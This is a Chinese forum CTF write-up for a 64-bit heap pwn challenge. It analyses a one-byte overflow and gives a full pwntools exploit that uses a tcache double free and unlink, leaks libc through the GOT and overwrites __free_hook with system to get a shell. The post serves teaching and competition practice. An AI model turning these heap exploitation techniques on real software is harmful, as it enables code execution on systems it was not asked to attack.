首页
社区
课程
招聘
[原创]2019 Q2 第二题 沉睡的敦煌(pwn) 分析
2019-6-23 13:12 3032

[原创]2019 Q2 第二题 沉睡的敦煌(pwn) 分析

2019-6-23 13:12
3032

0x0 checksec

基地址固定

[*] '/home/abc/Desktop/kctf_Q2_2/pwn'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

0x1 程序分析

程序开始调用了alram,为了便于调试,需要nop掉。同时malloc一块小内存,并保存了其地址作为地址边界。

unsigned __int64 setup()
{
  unsigned __int64 v0; // ST08_8

  v0 = __readfsqword(0x28u);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  setvbuf(stderr, 0LL, 1, 0LL);
  alarm(0x3Cu);
  bound = (__int64)malloc(0x30uLL);
  return __readfsqword(0x28u) ^ v0;
}

实现了malloc,free,edit,show 4个常见功能

abc@abc-vm:~/Desktop/kctf_Q2_2$ ./pwn
1.malloc
2.free
3.edit
4.show

只能edit一次,show默认是不能使用的
edit:

unsigned __int64 edit()
{
  void *v0; // ST10_8
  int v2; // [rsp+Ch] [rbp-14h]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  if ( edit_cnt == 1 )
    exit(0);
  puts("index:");
  v2 = read_option();
  if ( v2 < 0 || v2 > 31 || !ptr[v2] )
    exit(0);
  puts("content:");
  v0 = ptr[v2];
  read(0, ptr[v2], 0x28uLL);
  ++edit_cnt;
  return __readfsqword(0x28u) ^ v3;
}

show:

unsigned __int64 show()
{
  int v1; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  if ( admin )
  {
    puts("index:");
    v1 = read_option();
    if ( v1 < 0 || v1 > 31 || !ptr[v1] )
      exit(0);
    puts((const char *)ptr[v1]);
  }
  else
  {
    puts("only admin can use");
  }
  return __readfsqword(0x28u) ^ v2;
}

保存内存边界,指针数组,编辑次数和admin的全局变量的内存布局:(后面漏洞利用时能发现这布局是作者精心布置的)

.bss:0000000000404040 stderr          dq ?                    ; DATA XREF: LOAD:00000000004004A0↑o
.bss:0000000000404040                                         ; setup+53↑r
.bss:0000000000404040                                         ; Copy of shared data
.bss:0000000000404048 padding         dq 3 dup(?)             ; DATA XREF: sub_401180↑r
.bss:0000000000404048                                         ; sub_401180+12↑w
.bss:0000000000404060 bound           dq ?                    ; DATA XREF: ctf_malloc+71↑r
.bss:0000000000404060                                         ; ctf_malloc+7E↑r ...
.bss:0000000000404068 padding_0       dq 3 dup(?)
.bss:0000000000404080 ; void *ptr[33]
.bss:0000000000404080 ptr             dq 20h dup(?)           ; DATA XREF: ctf_malloc+49↑o
.bss:0000000000404080                                         ; ctf_malloc+AD↑o ...
.bss:0000000000404180 padding_1       dq ?
.bss:0000000000404188 admin           dd ?                    ; DATA XREF: show+17↑r
.bss:000000000040418C edit_cnt        dd ?                    ; DATA XREF: edit+17↑r

0x3 漏洞

很明显的一处漏洞,malloc函数中,有一个字节的溢出。

unsigned __int64 ctf_malloc()
{
  int idx; // [rsp+Ch] [rbp-14h]
  void *v2; // [rsp+10h] [rbp-10h]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("index:");
  idx = read_option();
  if ( idx < 0 || idx > 31 || ptr[idx] )
    exit(0);
  v2 = malloc(0x28uLL);
  if ( (signed __int64)v2 < bound || (signed __int64)v2 > bound + 2048 )
    exit(0);
  ptr[idx] = v2;
  printf("gift: %llx\n", ptr[idx]);
  puts("content:");
  read(0, ptr[idx], 0x29uLL);
  return __readfsqword(0x28u) ^ v3;
}

由于的malloc默认大小为0x28,所以溢出的一个字节刚好能覆盖下一个chunk的size域的最低字节。

0x4 利用思路

看到基址固定,而且全局变量有堆指针,很容易就能想到unlink。unlink在论坛以前的比赛中出过好几次了。
简要的说就是,伪造一个已经free掉的chunk,然后free这个chunk高地址相邻的另一个伪造的chunk,这两个chunk的合并过程中会把低地址的chunk从双向链表中摘除。为了绕过unlink的check,假设存在一个指向低地址chunk的指针P,把低地址chunk的fd和bk分别设为&P-0x18和&P-0x10就能绕过检测。unlink后,P被改写为&P-0x18。同时,两个伪造的chunk合并起来进入unsorted bin。
unlink的详细分析可以参考下面两位dalao的文章:
[原创]看雪.Wifi万能钥匙 CTF 2017 第4题Writeup---double free解法
堆溢出漏洞简介

 

然鹅,这题半路偷偷改过一次,改之前的edit的限制次数是两次,所以只要unlink后edit两次就能改到admin和editcnt的值,之后就能随意任意地址的读写了。

 

改之后,edit限制为一次,利用起来就麻烦多了。
需要用到另一种堆漏洞利用技术:tcache的double free来malloc出任意地址。类似于fastbin的double free,但比fastbin的限制要少(不检查size域)。
要触发double free,要先得到两个同样的指针。操作步骤如下:

#5 and 11 point to the same location
# 此前0x90的tcache已经填满
malloc(1,'1')
malloc(3,'3')
malloc(5,'5')
malloc(7,'7')
malloc(9,'9') # avoid merge with the top chunk
free(1)
malloc(1,'1'*0x28+'\x91') #overflow the 3rd chunk's size
free(3)
malloc(3,'3')
malloc(11,'11')
p13 = malloc(13,'13')

然鹅这样还是不能分配出任意地址,原因是malloc中的边界检测:
boundary是程序最开始malloc返回的堆地址

  p = malloc(0x28uLL);
  if ( (signed __int64)p < bound || (signed __int64)p > bound + 2048 )
    exit(0);

完整的利用链比较繁杂,简要叙述如下:
1.填满0x90的tcache
2.tcache double free后,malloc出boundary的地址
3.在boundary处伪造给unlink预备的chunkA,
4.伪造unlink需要的chunkB
5.tcache double free后,准备malloc出存放堆指针数组的地址(但是先不malloc,因为此时不在boundary范围内,会失败)
6.free(chunkB),触发unlink,改写boundary为&boundary-0x18
7.把堆指针数组的地址malloc出来(此时绕过了boundary的check),修改editcnt和admin的值
8.然后就能随意show和edit了
9.got表泄露libc,修改__free_hook为system,然后free一个内容为"/bin/sh\x00"的堆块,得到shell。

0x5 完整EXP

from pwn import *
import pdb 

libc = ELF('./libc-2.27xx.so')

env = {'LD_PRELOAD':'./libc-2.27xx.so'}
p = process('./pwn',env=env)

# p = remote('152.136.18.34',10001)

def menu():
    p.recvuntil('4.show\n')

def malloc(idx,content='\xff'):
    p.sendline('1')
    p.recvuntil('index:\n')
    p.sendline(str(idx))
    s = p.recvuntil('\n')[6:-1]
    # # log.info(s)
    p.recvuntil('content:\n')
    p.send(content)
    menu()
    return int(s,16)

def free(idx):
    p.sendline('2')
    p.recvuntil('index:\n')
    p.sendline(str(idx))
    menu()

def edit(idx,content):
    p.sendline('3')
    p.recvuntil('index:\n')
    p.sendline(str(idx))
    p.recvuntil('content:\n')
    p.send(content)
    menu()

def show(idx):
    p.sendline('4')
    p.recvuntil('index:\n')
    p.sendline(str(idx))
    s = p.recvuntil('show\n')
    return s


menu()

#0~13
for i in range(7):
    malloc(2*i,str(2*i))
    malloc(2*i+1,str(2*i+1))
    free(2*i)
    malloc(2*i,'x'*0x28+'\x91')

for i in range(7):
    free(2*i+1)

#5 and 11 point to the same location
malloc(1,'1')
malloc(3,'3')
malloc(5,'5')
malloc(7,'7')
malloc(9,'9')
free(1)
malloc(1,'1'*0x28+'\x91')
free(3)
malloc(3,'3')
malloc(11,'11')
p13 = malloc(13,'13')
malloc(14)

boundary = p13-0x370
print(hex(boundary))
pbound_addr = 0x404060

free(14)
free(11)
free(13)
free(5)

malloc(5,p64(boundary))
malloc(13)
malloc(11)

#return boundary
malloc(14,'x'*8+p64(0x421)+p64(pbound_addr-0x18)+p64(pbound_addr-0x10))

malloc(15)
p16 = malloc(16)
print(hex(p16))
malloc(17)
malloc(18)
malloc(19)
free(15)
malloc(15,'x'*0x20+p64(0x420)+'\x90')

# free(16)

#22 and 26 point same
malloc(20)
malloc(21)
malloc(22)
malloc(23)
malloc(24)
free(20)
malloc(20,'x'*0x28+'\x91')
free(21)
malloc(25)
malloc(26)
malloc(27)
malloc(28)
malloc(29,'/bin/sh\x00')
free(28)
free(22)
free(27)
free(26)

p_mem30 = 0x404170
malloc(26,p64(p_mem30))
malloc(27)
malloc(22)

free(16)

got_puts = 0x403FA8

#ret mem
malloc(28,p64(got_puts)+p64(p_mem30)+'\x77'*0x10)

s = show(30)[:6]
puts_addr = u64(s+'\x00'*2)
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
free_hook = libc_base + libc.symbols['__free_hook']
print('libc:',hex(libc_base))

edit(31,p64(free_hook))
edit(30,p64(system_addr))

p.sendline('2')
p.recvuntil('index:\n')
p.sendline(str(29))

p.interactive()

[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

最后于 2019-6-24 05:46 被mratlatsn编辑 ,原因:
收藏
点赞4
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回